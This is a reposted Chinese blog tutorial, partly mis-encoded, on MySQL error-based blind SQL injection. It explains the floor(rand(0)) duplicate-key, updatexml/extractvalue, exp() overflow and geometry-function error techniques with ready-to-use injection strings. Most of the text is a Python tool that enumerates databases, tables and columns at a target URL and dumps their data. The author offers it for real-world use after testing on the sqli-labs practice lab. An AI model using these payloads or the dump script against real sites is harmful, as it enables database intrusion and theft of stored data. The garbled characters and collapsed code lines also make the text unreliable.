|
滲透的時候總會首先測試注入,sql注入可以說是web漏洞界的Boss了,穩(wěn)居owasp第一位,普通的直接回顯數(shù)據(jù)的注入現(xiàn)在幾乎絕跡了,絕大多數(shù)都是盲注了,此文是盲注系列的第一篇,介紹盲注中的報錯注入。 其實報錯注入有很多種,本文主要介紹幾種常見的報錯方法,有新姿勢后續(xù)再更新。 1. Duplicate entry報錯: 一句話概括就是多次查詢插入重復鍵值導致count報錯從而在報錯信息中帶入了敏感信息。 關鍵是查詢時會建立臨時表存儲數(shù)據(jù),不存在鍵值就插入,group by使插入前rand()會再執(zhí)行一次,存在就直接值加1,下面以rand(0)簡述原理: 首先看看接下來會用到的幾個函數(shù) Count()計算總數(shù) Concat()連接字符串 Floor()向下取整數(shù) Rand()產(chǎn)生0~1的隨機數(shù) rand(0)序列是011011 1. 查詢第一條記錄,rand(0)得鍵值0不存在臨時表,執(zhí)行插入,此時rand(0)再執(zhí)行,得1,于是插入了1。 2. 查詢第二條記錄,rand(0)得1,鍵值1存在臨時表,則值加1得2。 3. 查詢第三條記錄,rand(0)得0,鍵值0不存在臨時表,執(zhí)行插入,rand(0)再次執(zhí)行,得鍵值1,1存在于臨時表,由于鍵值必須唯一,導致報錯。 由上述可得,表中必須存在大于等于3條記錄才會產(chǎn)生報錯,實測也如此。 一些報錯查詢語句(相當于套公式): 假設字段數(shù)是3 經(jīng)典語句: union select 1,count(*),concat(version(),floor(rand(0)*2))x from information_schema.columns group by x;–+version()可以替換為需要查詢的信息。 簡化語句: union select 1,2,count(*) from information_schema.columns group by concat(version(),floor(rand(0)*2));–+ 如果關鍵的表被禁用了,可以使用這種形式 select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2)) 如果rand被禁用了可以使用用戶變量來報錯 select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2) Sqli-labs less5測試: 1. 獲取庫名:
2.獲取表名:
3. 獲取列名:
4. 爆數(shù)據(jù):
2. Xpath報錯: 主要的兩個函數(shù): Mysql5.1.5 1. updatexml():對xml進行查詢和修改 2. extractvalue():對xml進行查詢和修改 都是最大爆32位。 and updatexml(1,concat(0x26,(version()),0x26),1);and (extractvalue(1,concat(0x26,(version()),0x26))); Sqli-lab less5測試: Updatexml():
Extractvalue():
3. 整形溢出報錯: Mysql>5.5.5 主要函數(shù): exp(x):計算e的x次方 Payload: and (EXP(~(select * from(select version())a)));Exp()超過710會產(chǎn)生溢出。 將0按位取反就會返回“18446744073709551615”,而函數(shù)執(zhí)行成功會返回0,所以將成功執(zhí)行的函數(shù)取反就會得到最大的無符號BIGINT值,從而造成報錯。 4. 數(shù)據(jù)重復報錯: Mysql低版本 payload:select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x 5. 其余報錯: GeometryCollection() id = 1 AND GeometryCollection((select * from (select * from(select user())a)b))polygon() id =1 AND polygon((select * from(select * from(select user())a)b))multipoint() id = 1 AND multipoint((select * from(select * from(select user())a)b))multilinestring() id = 1 AND multilinestring((select * from(select * from(select user())a)b))linestring() id = 1 AND LINESTRING((select * from(select * from(select user())a)b))multipolygon() id =1 AND multipolygon((select * from(select * from(select user())a)b)) 依據(jù)sqli-lab less-5寫的自動化注入腳本,實戰(zhàn)再根據(jù)具體情況修改即可,盲注還是寫腳本方便點。 (建議在linux下使用,win下的cmd無法使用termcolor,win下可注釋并修改print即可,有顏色還是挺酷的!) (單擊圖片查看大圖) 點擊下方空白區(qū)域查看純文本 ▼ 「腳本」 #coding:utf-8 #Author:LSA #Description:blind sqli error base script #Date:20171222 import sys import requests import re import binascii from termcolor import * import optparse fdata = [] def judge_columns_num(url): for i in range(1,100): columns_num_url = url + '\'' + 'order by ' + str(i) + '--+' rsp = requests.get(columns_num_url) rsp_content_length = rsp.headers['content-length'] if i==1: rsp_true_content_length = rsp_content_length continue if rsp_content_length == rsp_true_content_length: continue else: print (colored('column nums is ' + str(i-1),'green',attrs=['bold']))columns_num = i break def getDatabases(url): dbs_url = url + '' union select 1,count(*),concat((select count(distinct+table_schema) from information_schema.tables),0x26,floor(rand(0)*2))x from information_schema.tables group by x;--+'dbs_html = requests.get(dbs_url).content dbs_num = int(re.search(r'\'(\d*?)&',dbs_html).group(1))print 'databases num:' + colored(dbs_num,'green',attrs=['bold'])dbs = [] print ('dbs name: ') for dbIndex in xrange(0,dbs_num): db_name_url = url + '' union select 1,count(*),concat((select distinct table_schema from information_schema.tables limit %d,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+' % dbIndexdb_html = requests.get(db_name_url).content db_name = re.search(r'\'(.*?)&', db_html).group(1)dbs.append(db_name) print (colored('\t%s' % db_name,'green',attrs=['bold']))def getTables(url, db_name): #db_name_hex = '0x' + binascii.b2a_hex(db_name)tables_num_url = url + '' union select 1,count(*),concat((select count(table_name) from information_schema.tables where table_schema='%s'),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+' % db_nametables_html = requests.get(tables_num_url).contenttables_num = int(re.search(r'\'(\d*?)&',tables_html).group(1))print ('databases %s,tables num: %d' % (db_name, tables_num))print ('tables name: ') for tableIndex in xrange(0,tables_num): table_name_url = url + ''union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='%s' limit %d,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+' % (db_name, tableIndex)table_html = requests.get(table_name_url).contenttable_name = re.search(r'\'(.*?)&',table_html).group(1)print (colored('\t%s' % table_name,'green',attrs=['bold']))def getColumns(url,db_name,table_name): #db_name_hex = '0x' + binascii.b2a_hex(db_name)#table_name_hex = '0x' + binascii.b2a_hex(table_name)dataColumns_num_url = url + '' union select 1,count(*),concat((select count(column_name) from information_schema.columns where table_schema='%s' and table_name='%s' ),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+' % (db_name,table_name)dataColumns_html = requests.get(dataColumns_num_url).contentdataColumns_num = int(re.search(r'\'(\d*?)&',dataColumns_html).group(1))print ('table: %s,dataColumns num: %d' % (table_name, dataColumns_num))print ('DataColumns name:') for dataColumnIndex in xrange(0,dataColumns_num): dataColumn_name_url = url + '' union select 1,count(*),concat((select column_name from information_schema.columns where table_schema='%s' and table_name='%s' limit %d,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+' % (db_name,table_name,dataColumnIndex)dataColumn_html = requests.get(dataColumn_name_url).contentdataColumn_name = re.search(r'\'(.*?)&',dataColumn_html).group(1)print (colored('\t\t%s' % dataColumn_name,'green',attrs=['bold']))def dumpData(url,db_name,table_name,inputColumns_name): #db_name_hex = '0x' + binascii.b2a_hex(db_name)#table_name_hex = '0x' + binascii.b2a_hex(table_name)dataColumns_num_url = url + '' union select 1,count(*),concat((select count(*) from %s.%s),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+' % (db_name,table_name)data_html = requests.get(dataColumns_num_url).contentdatas = int(re.search(r'\'(\d*?)&',data_html).group(1))inputColumns = inputColumns_name.split(',') print (colored('Total datas: ' + str(datas),'green',attrs=['bold']))print str(inputColumns_name) + ':' for inputColumnIndex in xrange(0,len(inputColumns)): for dataIndex in xrange(0,datas): dataColumn_name_url = url + '' union select 1,count(*),concat((select %s from %s.%s limit %d,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+' % (inputColumns[inputColumnIndex],db_name,table_name,dataIndex)data_html = requests.get(dataColumn_name_url).contentdata = re.search(r'\'(.*?)&',data_html).group(1)fdata.append(data) print (colored('\t%s' % data,'green',attrs=['bold']))for inputc in range(0,len(inputColumns)): print str(inputColumns[inputc]) + '\t', print '' print '+++++++++++++++++++++++++++++++++++++++++++++++++'n = len(fdata) / len(inputColumns) for t in range(0,n): for d in range(t,len(fdata),n): print colored(fdata[d],'green',attrs=['bold']) + '\t',print '' print '+++++++++++++++++++++++++++++++++++++++++++++++++'def main(): parser = optparse.OptionParser('python %prog '+\'-h parser.add_option('-u', dest='tgtUrl', type='string',\help='input target url') parser.add_option('--dbs', dest='dbs', action='store_true', help='get dbs')parser.add_option('--tables', dest='tables', action='store_true',\help='get tables') parser.add_option('--columns', dest='columns', action='store_true',\help='get columns') parser.add_option('-D', dest='db', type='string', help='choose a db')parser.add_option('-T', dest='table', type='string',\help='choose a table') parser.add_option('-C', dest='column', type='string',\help='choose column(s)') parser.add_option('--dump', dest='data', action='store_true',\help='get datas') (options, args) = parser.parse_args() url = options.tgtUrl dbs = options.dbs tables = options.tables columns = options.columns db = options.db table = options.table column = options.column datas = options.data if url and (dbs is None and db is None and tables is None and table is None and columns is None and column is None and datas is None): judge_columns_num(url) if url and dbs: getDatabases(url) if url and db and tables: getTables(url,db) if url and db and table and columns: getColumns(url,db,table) if url and db and table and column and datas: dumpData(url,db,table,column) if __name__ == '__main__': main() 如不想切換轉義字符可到本人博客復制代碼:www./network_security/penetration/error-based-blind-sqli/ 效果圖:
Exp報錯和其余報錯沒測試成功,不知為何,先這樣吧。(o(∩∩)o...哈哈不知道有多少人能看到這里,回貼送幣?。?/span>
文:_LSA_ 來源:http://www./network_security/penetration/error-based-blind-sqli/#top |
|
|
來自: 達坂城大豆 > 《網(wǎng)絡安全》